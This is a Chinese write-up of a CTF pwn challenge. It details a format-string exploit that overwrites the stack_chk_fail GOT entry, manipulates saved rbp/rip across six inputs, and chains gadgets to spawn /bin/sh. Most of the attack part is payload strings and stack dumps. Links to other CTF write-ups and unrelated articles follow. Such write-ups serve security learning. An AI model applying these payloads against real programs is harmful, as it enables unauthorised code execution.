目录

漏洞利用原理

具体利用步骤


漏洞利用原理

  read(, &s, 0x20uLL);
if ( strstr(&s, "%p") || strstr(&s, "$p") )//只判断字符串中是不是有地址格式字符p
{
puts("do you want to leak info?");
exit();
}
printf(&s, "$p");//没有的话,就能利用格式化字符串漏洞了

漏洞利用步骤

第一次溢出

栈上数据

                  //第6个参数
0x7ffdc0494e70: 0x2564353334322e25 0x3925206e68243231 //1_msg
0x7ffdc0494e80: 0x646c243031257324 0x0000000000601040
0x7ffdc0494e90: 0x00007ffdc0494ec0 0x0000000000400a08
0x7ffdc0494ea0: 0x0000000000601020 0x0000000000400700 //1_name
0x7ffdc0494eb0: 0x00007ffdc0494fa0 0x06706b15d66f3a00
0x7ffdc0494ec0: 0x0000000000400a20 0x00007fa951a59830

64位函数调用规则是前6个参数由寄存器传递,所以0x7ffdc0494e70处是第6个参数(从0开始数)。

栈上的参数用字符串表示就是: %.2435d%12$hn %9%$s%10$ld

修改got表中stack_chk_fail函数地址

%.2435d%12$hn,将2435(即0x983)写入第12个参数表示的地址:0x601020。也就是说在input your name 环节输入的地址将是leave a msg环节溢出时修改数据的地方。下面不再赘述。

看一下0x601020表示的是什么,就是stack_chk_fail函数地址存放的地方。

图1 read和stack_chk_fail重定位信息

获取第一次进入main函数栈帧基址:%10$ld

获取read函数地址:%9%$s,第9个参数是什么呢?是0x601040,也就是read函数地址存放的地方。

第二次溢出

栈上数据

0x7ffdc0494e10:    0x0000000000400a7c    0x0000000000601040        //2_msg
0x7ffdc0494e20: 0x0000000000000200 0x00007ffdc0494e38
0x7ffdc0494e30: 0x00007ffdc0494e60 0x0000000000400a08
0x7ffdc0494e40: 0x0000000000000000 0x00007fa951b2fa00 //2_name
0x7ffdc0494e50: 0x0000000000000000 0x06706b15d66f3a00
0x7ffdc0494e60: 0x00007ffdc0494e90 0x0000000000400981
0x7ffdc0494e70: 0x2564353334322e25 0x3925206e68243231 //1_msg
0x7ffdc0494e80: 0x646c243031257324 0x0000000000601040
0x7ffdc0494e90: 0x00007ffdc0494ec0 0x0000000000400a08
0x7ffdc0494ea0: 0x0000000000601020 0x0000000000400700 //1_name
0x7ffdc0494eb0: 0x00007ffdc0494fa0 0x06706b15d66f3a00
0x7ffdc0494ec0: 0x0000000000400a20 0x00007fa951a59830

填充上需要的数据,在第二次输入msg的环节中,依次输入了四个值。第六次溢出正常返回时候会用到。

第三次栈溢出

栈上数据

0x7ffdc0494db0:    0x0000006e24323125    0x0000000000000000        //3_msg
0x7ffdc0494dc0: 0x0000000000000000 0x0000000000000000
0x7ffdc0494dd0: 0x00007ffdc0494e00 0x0000000000400a08
0x7ffdc0494de0: 0x00007ffdc0494e30 0x00007fa95200d700 //3_name
0x7ffdc0494df0: 0x0000000000400760 0x06706b15d66f3a00
0x7ffdc0494e00: 0x00007ffdc0494e30 0x0000000000400981
0x7ffdc0494e10: 0x0000000000400a7c 0x0000000000601040 //2_msg
0x7ffdc0494e20: 0x0000000000000200 0x00007ffdc0494e38
0x7ffdc0494e30: 0x00007ffd 0x0000000000400a08

修改第二次压栈的rbp低4个字节

通过第三次输入name的环节,指定一个要被修改的地址,也就是0x00007ffdc0494e30,然后在输入msg环节,输入“%12$n”,将0写入以0x00007ffdc0494e30起始的4个字节中。

第四次栈溢出

栈上数据

0x7ffdc0494d50:    0x31342e256e243925    0x3125643036393639        //4_msg
0x7ffdc0494d60: 0x00000000006e2432 0x00007ffdc0494e34
0x7ffdc0494d70: 0x00007ffdc0494da0 0x0000000000400a08
0x7ffdc0494d80: 0x00007ffdc0494e38 0x00007fa95200d700 //4_name
0x7ffdc0494d90: 0x0000000000400760 0x06706b15d66f3a00
0x7ffdc0494da0: 0x00007ffdc0494dd0 0x0000000000400981
0x7ffdc0494db0: 0x0000006e24323125 0x0000000000000000
0x7ffdc0494dc0: 0x0000000000000000 0x0000000000000000
0x7ffdc0494dd0: 0x00007ffdc0494e00 0x0000000000400a08
0x7ffdc0494de0: 0x00007ffdc0494e30 0x00007fa95200d700
0x7ffdc0494df0: 0x0000000000400760 0x06706b15d66f3a00
0x7ffdc0494e00: 0x00007ffdc0494e30 0x0000000000400981
0x7ffdc0494e10: 0x0000000000400a7c 0x0000000000601040
0x7ffdc0494e20: 0x0000000000000200 0x00007ffdc0494e38
0x7ffdc0494e30: 0x00000000 0x0000000000400a60

修改第二次压栈的rbp高4个字节、rip

第四次输入的msg是:'%9$n%.4196960d%12$n'

修改第9个参数指定地址处为0,修改第12个参数指定地址处为0x400a60

第五次栈溢出

栈上数据

0x7ffdc0494cf0:    0x6436373939312e25    0x00006e6824323125        //5_msg
0x7ffdc0494d00: 0x00007ffdc0494d10 0x06706b15d66f3a00
0x7ffdc0494d10: 0x00007ffdc0494e08 0x0000000000400a08
0x7ffdc0494d20: 0x00007ffdc0494d10 0x00007fa95200d700 //5_name
0x7ffdc0494d30: 0x0000000000400760 0x06706b15d66f3a00
0x7ffdc0494d40: 0x00007ffdc0494d70 0x0000000000400981

修改第五次(也就是本次的)rbp

本次msg:“%.19976d%12$hn  ”

也就是修改0x00007ffdc0494d10低2个字节为0x4E08

  本次输入的字符串没有溢出,但是由于正常退出msg的获取环节,rip指向0x400a08,rbp=0x7ffdc0494e08,在name输入结束时候依然要检查栈是否被破坏,由于rbp被修改,此处检查自然不通过。所以还会调用stack_chk_fail函数,stack_chk_fail在got中的数据已近被修改为我们的main函数起始地址,所以接下来还有第6次输入环节。

第六次栈溢出

栈上数据

0x7ffdc0494cc0:    0x2564383835322e25    0x0000006e68243231        //6msg
0x7ffdc0494cd0: 0x0000000000000000 0x0000000000000000
0x7ffdc0494ce0: 0x00007ffdc0494d10 0x0000000000400a08
0x7ffdc0494cf0: 0x0000000000601020 0x00006e6824323100
0x7ffdc0494d00: 0x00007ffdc0494d10 0x06706b15d66f3a00
0x7ffdc0494d10: 0x00007ffdc0494e08 0x0000000000400a1c
0x7ffdc0494d20: 0x00007ffdc0494d10 0x00007fa95200d700 //5name
0x7ffdc0494d30: 0x0000000000400760 0x06706b15d66f3a00
0x7ffdc0494d40: 0x00007ffdc0494d70 0x0000000000400981
0x7ffdc0494d50: 0x31342e256e243925 0x3125643036393639
0x7ffdc0494d60: 0x00000000006e2432 0x00007ffdc0494e34
0x7ffdc0494d70: 0x00007ffdc0494da0 0x0000000000400a08
0x7ffdc0494d80: 0x00007ffdc0494e38 0x00007fa95200d700
0x7ffdc0494d90: 0x0000000000400760 0x06706b15d66f3a00
0x7ffdc0494da0: 0x00007ffdc0494dd0 0x0000000000400981
0x7ffdc0494db0: 0x0000006e24323125 0x0000000000000000
0x7ffdc0494dc0: 0x0000000000000000 0x0000000000000000
0x7ffdc0494dd0: 0x00007ffdc0494e00 0x0000000000400a08
0x7ffdc0494de0: 0x00007ffdc0494e30 0x00007fa95200d700
0x7ffdc0494df0: 0x0000000000400760 0x06706b15d66f3a00
0x7ffdc0494e00: 0x00007ffdc0494e30 0x0000000000400981 |rbp
0x7ffdc0494e10: 0x0000000000400a7c 0x0000000000601040 rip |r12
0x7ffdc0494e20: 0x0000000000000200 0x00007ffdc0494e38 r13 |r14
0x7ffdc0494e30: 0x0000000000000000 0x0000000000400a60 r15 |rip

修改got表中stack_chk_fail函数地址

第6次会修改0x601020处低2个字节数据,修改为0x0a1c。

本次没有溢出,所以正常返回0xa08地址,本次堆栈校验依然通过,返回。rbp=0x7ffdc0494e08,rip=0x400a1c。


开启shell

图2 开启shell流程

  执行a7c处代码,将第二次填充的数据弹出到相应寄存器。

  执行a60处代码,调用read函数

  read读进来的数据将a69处call压栈的返回地址覆盖了,read结束后会执行到a7a

执行到a7a指令,依次弹出构造的参数,再次跳到a60执行read函数,读入'/bin/sh'+'\x00'+l64(syscall)+'\x00'*0x2b到0x601b00

  再次执行到a7a指令,依次弹出构造的参数,但是本次r12=0x601b08,也就是存放syscall地址的地方。r15=0x601b00,也就是参数”/bin/sh”的存放地址。


参考资料

  [百度杯CTF·十二月PWN专题WriteUp解析]

http://bbs.ichunqiu.com/thread-16508-1-1.html

ctf百度杯十二月场what_the_fuck(一口盐汽水提供的答案)的更多相关文章

  1. 百度杯 十二月 what_the_fuck

    对于这道题,我还真的想说 what_the_fuck !! 这道题拿到就只发觉一个格式化字符串漏洞,其他的就找不到了 . unsigned __int64 sub_4008C5() { char s; ...

  2. i春秋-百度杯十月场-EXEC

    进入网站,查看源代码,发现是用vim编辑,而抓包没有有效信息,加参数也无果.百度查了一下vim能形成什么文件.找到答案说,用vim编辑文本xxx.php中途退出,会自动创建一个文件.xxx.php.s ...

  3. i春秋-百度杯十月场-vld

    查看源码,有提示,index.php.txt  ,  进入得到文本. 不太看得懂,后来百度,大致就是,flag1=.......&flag2=......&flag3=...... , ...

  4. i春秋-百度杯九月场-YeserCMS(cmseasy的UpdateXML注入漏洞)

    学习了大佬们的操作才做出来,记录一次菜鸡的无能为力. tips:flag在网站根目录下的flag.php中.我们的目标就是flag.php了. 题目说是心的CMS:YeserCMS,然而百度一下,出来 ...

  5. i春秋-百度杯十月场-fuzzing

    1. 打开链接,提示 show me key,抓包,传值key=1,GET请求没有用,而POST请求有返回. 2.将md5值直接拿去解密,得到key=ichunqiu105    OK,进入下一步. ...

  6. ‘百度杯’十月场web ---login

    首先一看的题,既然是是web类的,就要查看源码,一看,最先有一行注释,估摸着是用户名和密码 果然登录上去了,显示一段乱码,源码也没有什么东西, 那就抓一次包吧 发现响应头里边有个show:0的响应,而 ...

  7. i春秋-web-upload(文件内容读取)(“百度杯”九月场)

    提示很明显,flag在flag.php中,所以,任务就是获取flag.php的内容. 方法一:一句话+菜刀(不再叙述) 方法二:上传脚本,使脚本拥有一定权限,再输出flag 先造一个php脚本 < ...

  8. 十一月百度杯pwnme 详细wp

    目录 程序基本信息 程序溢出点 整体思路 exp脚本 成功获得flag 参考 程序基本信息 可以看到开启了栈不可执行和got表不可写保护. 程序溢出点 在函数sub_400AF7中,v8可以读入0x1 ...

  9. “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)

    题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...

随机推荐

  1. python爬虫解析库之re模块

    re模块 一:什么是正则? 正则就是用一些具有特殊含义的符号组合到一起(称为正则表达式)来描述字符或者字符串的方法.或者说:正则就是用来描述一类事物的规则.(在Python中)它内嵌在Python中, ...

  2. IIS网站本机可以访问,局域网其他机器无法访问

    [开始]打开[控制面板],选择[WINDOWS 防火墙],进入 步骤阅读 2 在防火墙界面,选择左侧边栏的[高级设置] 步骤阅读 3 在弹出的高级安全Windows防火墙界面中,选择左侧边栏的[入站规 ...

  3. [Linux]gcc/libc/glibc

    转自:http://blog.csdn.net/weiwangchao_/article/details/16989713 1.gcc(gnu collect compiler)是一组编译工具的总称. ...

  4. Java中float/double取值范围与精度

    Java浮点数 浮点数结构 要说清楚Java浮点数的取值范围与其精度,必须先了解浮点数的表示方法,浮点数的结构组成,之所以会有这种所谓的结构,是因为机器只认识01,你想表示小数,你要机器认识小数点这个 ...

  5. I2C和SPI

    I2C(Inter-Integrated Circuit)总线 两线式串行总线,用于连接微控制器及其外围设备.是微电子通信控制领域广泛采用的一种总线标准.它是同步通信的一种特殊形式,具有接口线少,控制 ...

  6. 用Zend OPCache提高PHP的性能

    Zend OPCache的前身是Zend Optimizer + (Zend O+),在PHP5.5的发行版本中自带了Zend O+,并重新命名为:Zend OPCache.但是默认是没有启用的,可以 ...

  7. Web项目开发规范文档

    http://www.kancloud.cn/chandler/css-code-guide/51267

  8. chrome显示小于12号字体的方法

    我现在做一个支持英文的网站,但是字体要设置小于12号字体,我百度方法是-webkit-text-size-adjust:none;  但是谷歌为什么不支持啊,  有没有解决办法 让谷歌浏览器 支持小于 ...

  9. Abstract可以将子类的共性最大限度的抽取出来,放在父类中,以提高程序的简洁性

    Abstract可以将子类的共性最大限度的抽取出来,放在父类中,以提高程序的简洁性. Abstract虽然不能生成对象,但是可以声明,作为编译时类型,但不能作为运行时类型. Final和abstrac ...

  10. Unity获取文件夹下指定类型的文件数量

    有个文件夹里面有很多的图片,都是.png格式的,要是一个一个的拖到脚本上觉得很麻烦,就写了一个遍历添加的cars,变量是List<Sprite> 代码如下: using UnityEngi ...